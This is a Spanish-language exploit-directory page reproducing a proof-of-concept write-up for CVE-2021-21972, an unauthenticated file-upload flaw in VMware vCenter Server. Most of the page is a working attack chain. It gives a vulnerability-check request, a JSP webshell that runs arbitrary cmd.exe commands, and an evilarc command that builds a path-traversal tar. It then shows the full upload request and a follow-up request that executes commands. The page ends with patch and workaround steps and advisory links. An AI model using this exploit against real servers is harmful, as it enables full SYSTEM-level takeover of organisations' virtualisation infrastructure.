Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-21972 — CVE-2021-21972 – inyección de código no autorizada en VMware Client (RCE) | Kitploit
Herramientas/GitHubGitHub/orangmuda/cve-2021-21972
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHuborangmuda/cve-2021-21972

CVE-2021-21972

CVE-2021-21972 – inyección de código no autorizada en VMware Client (RCE)

Ver Repositorio
114hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client Carga de archivos no autorizada para ejecución remota de código (RCE)


El vSphere Web Client (HTML5) es esencialmente una interfaz administrativa que permite la gestión de una instalación de vSphere. El vSphere Client proporciona a un administrador acceso a las funciones clave de vSphere sin necesidad de acceder directamente a un servidor vSphere. Permite a los administradores crear nuevas máquinas virtuales y gestionar las existentes y sus recursos. Como aplicación web multiplataforma, puede utilizarse en todos los sistemas operativos compatibles a través de las versiones compatibles de los diferentes navegadores web.

CVE-2021-21972 es una vulnerabilidad de carga de archivos no autorizada en vCenter Server que conduce a la ejecución remota de código en el servidor remoto. El problema se origina por la falta de autenticación en el vRealize Operations vCenter Plugin. Recibió una puntuación crítica de CVSSv3 de 9.8 sobre 10.0. Un atacante remoto no autenticado podría explotar esta vulnerabilidad subiendo un archivo especialmente diseñado a un endpoint vulnerable de vCenter Server que sea de acceso público. Las versiones 6.5, 6.7 y 7.0 de VMware vCenter Server están afectadas por esta vulnerabilidad. La explotación exitosa de esta vulnerabilidad daría como resultado que un atacante obtenga privilegios ilimitados de ejecución remota de código (RCE) en el sistema operativo subyacente del vCenter Server. A pesar de que esta vulnerabilidad se origina en el vRealize Operations vCenter Plugin, el aviso de VMware confirma que este plugin está incluido en todas las instalaciones predeterminadas de vCenter Server. Esto significa que el endpoint vulnerable está disponible independientemente de la presencia de vRealize Operations.

En la publicación original del blog aquí, el descubrimiento de la vulnerabilidad se explica con el mayor detalle posible, así como dos rutas separadas para lograr RCE. Para sistemas Windows, un atacante podría subir un archivo .jsp especialmente diseñado para obtener privilegios de NT AUTHORITY\SYSTEM en el sistema operativo subyacente. Para sistemas Linux, un atacante necesitaría generar y subir una clave pública a la ruta authorized_keys del servidor y luego conectarse al servidor vulnerable mediante SSH para obtener privilegios de usuario vsphere-ui. (si el servicio SSH está en ejecución y es accesible a través de la red)

vropsplugin-service.jar es un archivo java archive del plugin vropspluginui e incluye algunas clases y otras funciones y métodos relacionados. La parte vulnerable del código se ilustra a continuación. Este fragmento de código pertenece a la clase ServicesController.class en el controlador de vropsplugin-service.jar. Como se puede ver en el fragmento de código siguiente, la función uploadOvaFile es responsable del endpoint/URL /ui/vropspluginui/rest/services/uploadova

Ruta completa de la clase vulnerable: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

Desde la perspectiva de un atacante, el controlador de esta clase está realizando las siguientes acciones

  • Recibir el parámetro uploadFile con una solicitud de método POST (línea 2)
  • Leer el parámetro uploadFile y escribir el contenido de este parámetro en la variable inputStream (línea 22)
  • Abrir los datos resultantes como un archivo .tar (línea 34)
  • Recuperar todas las entradas del archivo (línea 35)
  • Copiar cada entrada actual creada en el disco utilizando la convención de nombres de archivo: /tmp/unicorn_ova_dir + entry.getName() (líneas 42 y 47)

Prueba de concepto: Para explotar esta vulnerabilidad, puedes seguir los siguientes pasos

  1. Verificar la vulnerabilidad
  2. Crear una entrada de archivo .tar que contenga la cadena ../../
  3. Subir el archivo manipulado al servidor
  4. Ir a la ruta relacionada y llamar al archivo que subiste /statsreport/uploadedFileName.jsp

Para verificar la vulnerabilidad, puedes usar la siguiente solicitud

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Si la respuesta a la solicitud anterior es similar a las respuestas siguientes, significa que el host remoto es vulnerable a CVE-2021-21972

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

Después de eso, necesitamos crear un archivo .tar manipulado. Para esto puedes usar evilarc. Evilarc es un script básico de python que te permite crear un archivo zip que contenga archivos con caracteres de traversal de directorio en su ruta incrustada.

Contenido de cmdjsp.jsp, que es básicamente una webshell

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Con el siguiente comando, se generará el archivo .tar manipulado.

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Luego, simplemente sube el archivo .tar al servidor usando la siguiente solicitud

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

La respuesta a la solicitud anterior es la siguiente

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
Screen Shot 2021-04-06 at 19 11 52

Si el código de estado de respuesta de la solicitud anterior es 200 OK y el cuerpo es SUCCESS, significa que el archivo .tar se subió correctamente a la ruta ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. Debido al flujo de la aplicación, el servidor extraerá el archivo .tar en el directorio /statsreport. Después de esta etapa, todo lo que tienes que hacer es la siguiente solicitud GET para ejecución remota de código con privilegios de NT AUTHORITY\SYSTEM.

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Solución de workaround: VMware ha corregido esta vulnerabilidad en las versiones 7.0 U1c, 6.7 U3l y 6.5 U3n respectivamente. Sin embargo, si el parche no se puede instalar, para implementar el workaround para CVE-2021-21972 y CVE-2021-21973 en implementaciones de vCenter Server basadas en Windows, realiza los siguientes pasos:

  1. RDP al vCenter Server basado en Windows
  2. Haz una copia de seguridad del archivo: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. Abre el archivo compatibility-matrix.xml en un editor de texto
  4. Añade esta línea: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro del elemento pluginsCompatibility
  5. Detén y reinicia el servicio vsphere-ui usando los comandos
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. Después de eso, el plugin VMware vROPS Client se puede ver como “incompatible” en Administration > Solutions > client-plugins

Para implementar el workaround para CVE-2021-21972 y CVE-2021-21973 en appliances virtuales basados en Linux (vCSA), realiza los siguientes pasos:

  1. Conéctate a la vCSA usando una sesión SSH y credenciales de root.
  2. Haz una copia de seguridad del archivo: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. Abre el archivo compatibility-matrix.xml en un editor de texto
  4. Añade esta línea: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro del elemento pluginsCompatibility
  5. Detén y reinicia el servicio vsphere-ui usando los comandos
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

Ten en cuenta que esta vulnerabilidad fue descubierta por Andri Wijayanto de Positive Technologies y la publicación original de la investigación está disponible aquí

Para más información, visita las siguientes páginas.

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

Descargar herramienta